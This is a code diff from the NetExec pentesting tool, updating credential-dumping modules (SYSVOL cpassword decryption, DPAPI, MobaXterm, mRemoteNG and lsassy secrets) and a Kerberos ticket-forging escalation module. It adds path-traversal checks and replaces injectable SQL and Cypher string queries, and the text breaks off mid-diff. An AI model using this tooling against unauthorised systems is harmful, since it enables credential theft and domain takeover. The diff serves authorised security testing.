filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
if self.json:
with open(f"{self.output_path}/{filename}.json", "w") as f:
with open(join(self.output_path, f"{filename}.json"), "w") as f:
json.dump(
output,
f,
@@ -131,10 +133,10 @@ class NXCModule:
if self.csv:
template_output = finder.get_template_output_for_csv(output)
ca_output = finder.get_ca_output_for_csv(output)
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
f.write(template_output)
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
f.write(ca_output)
if self.text:
with open(f"{self.output_path}/{filename}.txt", "w") as f:
with open(join(self.output_path, f"{filename}.txt"), "w") as f:
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
+1
View File
@@ -1,4 +1,5 @@
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+3 -28
View File
@@ -1,15 +1,12 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
@@ -19,33 +16,11 @@ class NXCModule:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
target=connection.dpapi_triage.target,
conn=connection.dpapi_triage.conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
+2 -1
View File
@@ -1,6 +1,7 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -63,6 +64,6 @@ class NXCModule:
context.log.highlight("\t" + d)
data += "\t" + d + "\n"
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
write_log(data, log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+1 -1
View File
@@ -1,6 +1,6 @@
from dploot.lib.target import Target
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
+1 -1
View File
@@ -63,7 +63,7 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
+3 -2
View File
@@ -7,8 +7,9 @@ from datetime import datetime
from struct import unpack
from impacket.structure import Structure
from os.path import expanduser
from os.path import expanduser, join
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
@@ -141,7 +142,7 @@ class NXCModule:
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
with open(path, "w") as outfile:
for row in outdata:
if self.showhosts:
+2 -1
View File
@@ -1,6 +1,7 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import json
@@ -30,6 +31,6 @@ class NXCModule:
data.append(cards)
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+26 -31
View File
@@ -15,45 +15,40 @@ class NXCModule:
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
"""No options available."""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for Registry.xml")
context.log.display("Searching SYSVOL share for Registry.xml")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
xml_section = xml.findall(".//Properties")
xml_section = xml.findall(".//Properties")
for section in xml_section:
attrs = section.attrib
for section in xml_section:
attrs = section.attrib
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
+57 -62
View File
@@ -21,82 +21,77 @@ class NXCModule:
"""No options available"""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
sysvol = share["name"]
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
paths = connection.spider(
sysvol,
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile(sysvol, path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
if "Groups.xml" in path:
sections.append("./User/Properties")
if "Groups.xml" in path:
sections.append("./User/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
password = self.decrypt_cpassword(props["cpassword"])
password = self.decrypt_cpassword(props["cpassword"])
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
def decrypt_cpassword(self, cpassword):
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
+13 -13
View File
@@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
if result["password"] is not None:
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
[password, len(username), username.upper()],
)
username = f"{username.upper()}@{domain.upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
context.log.fail(f"Hash for {username} is expired.")
elif username not in found_users and nthash is not None:
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
found_users.append(username)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
[nthash, len(username), username.upper()],
)
dbconnection.commit()
username = f"{username.upper()}@{domain.upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = list(path_to_da.data())
@@ -118,12 +118,12 @@ def initial_run(connection, cursor):
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
[password, len(username), username.upper()],
)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
[nthash, len(username), username.upper()],
)
@@ -188,7 +188,7 @@ class NXCModule:
)
if session.smb_session is None:
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
return False
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
@@ -236,7 +236,7 @@ class NXCModule:
for user in compromised_users:
for pc in admin_access:
if user[0] in pc[1]:
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
more_to_dump = cursor.fetchall()
if len(more_to_dump) > 0:
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
@@ -247,7 +247,7 @@ class NXCModule:
connection.nthash = user[1]
try:
self.run_lsassy(context, connection, cursor)
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
process_creds(
context,
+7 -35
View File
@@ -1,62 +1,34 @@
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
context.log.success("Looting MobaXterm secrets")
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
+12 -52
View File
@@ -1,12 +1,10 @@
import ntpath
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@dataclass
@@ -25,7 +23,7 @@ class NXCModule:
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
@@ -42,6 +40,7 @@ class NXCModule:
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
]
self.custom_user_path = [
@@ -68,70 +67,31 @@ class NXCModule:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
self.dploot_conn = connection.dpapi_triage.conn
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
users = self.dploot_conn.list_users()
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
# Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = dploot_conn.readFile(self.share, user_path)
content = self.dploot_conn.read_file(share=self.share, path=user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = dploot_conn.readFile(self.share, self.custom_path)
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -152,7 +112,7 @@ class NXCModule:
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
def parse_xml_nodes(self, main):
nodes = []
@@ -166,7 +126,7 @@ class NXCModule:
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
directory_list = conn.list_dir(share=self.share, path=directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
@@ -178,7 +138,7 @@ class NXCModule:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
content = conn.read_file(share=self.share, path=new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
+3 -2
View File
@@ -4,6 +4,7 @@ import os
from pathlib import Path
import re
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -139,8 +140,8 @@ class NXCModule:
context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}")
if self.save and all_results:
filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json"
file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve()
filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json")
file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve()
os.makedirs(file_path.parent, exist_ok=True)
with open(file_path, "w") as f:
json.dump(all_results, f, indent=2)
+2 -1
View File
@@ -10,6 +10,7 @@ import tempfile
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
@@ -158,7 +159,7 @@ class NXCModule:
return
else:
self.context.log.display(f"Copying {nano_log_name} to host")
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"))
if self.context.protocol == "smb":
with open(filename, "wb+") as dump_file:
try:
+8 -3
View File
@@ -1,7 +1,9 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from os.path import join
from pathlib import Path
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -36,9 +38,12 @@ class NXCModule:
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt")
export_path = join(NXC_PATH, "modules", "notepad++")
path = abspath(join(export_path, filename))
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
+8 -3
View File
@@ -1,9 +1,11 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from os.path import join
from pathlib import Path
import re
import time
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from impacket.smbconnection import SessionError
@@ -161,9 +163,12 @@ class NXCModule:
content_lines.append(string) # Store the string value only
# Save to file
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt")
export_path = join(NXC_PATH, "modules", "notepad")
path = abspath(join(export_path, filename))
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
makedirs(export_path, exist_ok=True)
with open(path, "w+") as output_file:
+3 -1
View File
@@ -1,7 +1,9 @@
#!/usr/bin/env python3
from datetime import datetime, timedelta
from os.path import join
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import socket
@@ -71,7 +73,7 @@ class NXCModule:
if answers:
obsolete_hosts_count = len(answers)
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt"))
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
with open(filename, "w") as f:
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
+8 -3
View File
@@ -1,6 +1,8 @@
from os import makedirs
from os.path import join, abspath
from os.path import join
from pathlib import Path
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from io import BytesIO
@@ -46,9 +48,12 @@ class NXCModule:
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
if self.export:
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt")
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
+7 -2
View File
@@ -1,9 +1,11 @@
import os
from pathlib import Path
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
@@ -54,7 +56,7 @@ class NXCModule:
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain))
output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt")
output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt")
@@ -137,7 +139,10 @@ class NXCModule:
try:
ccache = CCache()
ccache.fromTGT(ticket, sessionKey, sessionKey)
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve()
if Path(ccache_base_dir).resolve() not in ccache_filename.parents:
context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping")
return
ccache.saveFile(ccache_filename)
context.log.info(f"Saved ticket in {ccache_filename}")
except Exception as e:
+6 -1
View File
@@ -6,8 +6,10 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from os import makedirs
from pathlib import Path
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import re
@@ -160,7 +162,10 @@ class NXCModule:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec"
download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve()
if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents:
self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, skipping")
continue
buf = BytesIO()
with open(download_path, "wb") as file:
+5 -5
View File
@@ -49,7 +49,7 @@ class NXCModule:
self.krbtgt_hash = ""
self.aes128_key = ""
self.aes256_key = ""
self.etype = "rc4"
self.etype = "aes256"
def options(self, context, module_options):
"""
@@ -59,7 +59,7 @@ class NXCModule:
USER Target username to forge the ticket for (default: Administrator)
USER_ID RID used as the user ID in the PAC (default: 500)
RID RID used for the extra SID (default: 519 = Enterprise Admins)
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4)
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: aes256)
Examples:
netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER=DC01$
@@ -69,7 +69,7 @@ class NXCModule:
"""
self.context = context
self.module_options = module_options
self.etype = module_options.get("ETYPE", "rc4").lower()
self.etype = module_options.get("ETYPE", "aes256").lower()
def on_admin_login(self, context, connection):
self.context = context
@@ -300,7 +300,7 @@ class NXCModule:
def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO:
kerbdata = KERB_VALIDATION_INFO()
now_utc = datetime.datetime.now(datetime.timezone.utc)
now_utc = datetime.datetime.now(datetime.UTC)
now_unix = timegm(now_utc.timetuple())
now_filetime = self._getFileTime(now_unix)
@@ -451,7 +451,7 @@ class NXCModule:
pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]:
now_utc = datetime.datetime.now(datetime.timezone.utc)
